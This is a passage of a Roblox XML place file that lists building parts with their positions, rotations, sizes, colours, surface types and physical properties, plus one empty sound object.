				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>53</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1781">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>74</X>
					<Y>1.60000002</Y>
					<Z>-46.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>61</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1782">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>121.5</X>
					<Y>1.60000002</Y>
					<Z>-17</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>93</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1783">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>132</X>
					<Y>1.60000002</Y>
					<Z>-34</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>72</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1784">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>122</X>
					<Y>1.60000002</Y>
					<Z>-56</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>52</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1785">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>97</X>
					<Y>1.60000002</Y>
					<Z>-45</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>20</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1786">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>252</X>
					<Y>1.60000002</Y>
					<Z>-13.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>73</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1787">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1020</int>
				<CoordinateFrame name="CFrame">
					<X>241.5</X>
					<Y>3.10000014</Y>
					<Z>-22</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>5</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1788">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.300000012</float>
				<float name="BottomParamB">0.300000012</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1004</int>
				<CoordinateFrame name="CFrame">
					<X>205</X>
					<Y>1.89999998</Y>
					<Z>-40</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.300000012</float>
				<float name="TopParamB">0.300000012</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>4</X>
					<Y>1.20000005</Y>
					<Z>12</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1789">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">la6zj1b</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1790">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>171.5</X>
					<Y>1.60000002</Y>
					<Z>-173</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>87</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1791">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>127</X>
					<Y>1.60000002</Y>
					<Z>-125.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>97</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1792">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>167</X>
					<Y>1.60000002</Y>
					<Z>-57.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>45</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1793">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>198</X>
					<Y>1.60000002</Y>
					<Z>-81</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>64</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1794">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>229</X>
					<Y>1.60000002</Y>
					<Z>-92</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>20</X>
					<Y>2.4000001</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1795">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>212</X>
					<Y>1.60000002</Y>
					<Z>-101</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
